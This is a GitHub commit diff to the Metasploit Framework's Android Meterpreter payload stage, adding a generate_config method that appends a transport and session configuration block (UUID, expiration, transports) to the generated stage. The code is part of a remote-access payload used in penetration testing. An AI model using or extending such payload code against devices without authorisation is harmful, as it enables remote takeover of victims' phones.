Skip to content

Commit 0493ba8

Browse files
committed
Add transport configuration support
1 parent e796e56 commit 0493ba8

File tree

1 file changed

+22
-2
lines changed

1 file changed

+22
-2
lines changed

modules/payloads/stages/android/meterpreter.rb

Lines changed: 22 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -7,9 +7,10 @@
77
require 'msf/core/payload/dalvik'
88
require 'msf/base/sessions/meterpreter_android'
99
require 'msf/base/sessions/meterpreter_options'
10+
require 'rex/payloads/meterpreter/config'
1011

12+
module Metasploit4
1113

12-
module Metasploit3
1314
include Msf::Sessions::MeterpreterOptions
1415

1516
def initialize(info = {})
@@ -44,6 +45,25 @@ def generate_stage(opts={})
4445

4546
# Name of the class to load from the stage, the actual jar to load
4647
# it from, and then finally the meterpreter stage
47-
java_string(clazz) + java_string(metstage) + java_string(met)
48+
java_string(clazz) + java_string(metstage) + java_string(met) + java_string(generate_config(opts))
49+
end
50+
51+
def generate_config(opts={})
52+
opts[:uuid] ||= generate_payload_uuid
53+
54+
# create the configuration block, which for staged connections is really simple.
55+
config_opts = {
56+
ascii_str: true,
57+
arch: opts[:uuid].arch,
58+
expiration: datastore['SessionExpirationTimeout'].to_i,
59+
uuid: opts[:uuid],
60+
transports: [transport_config(opts)]
61+
}
62+
63+
# create the configuration instance based off the parameters
64+
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
65+
66+
# return the XML version of it
67+
config.to_b
4868
end
4969
end

0 commit comments

Comments
 (0)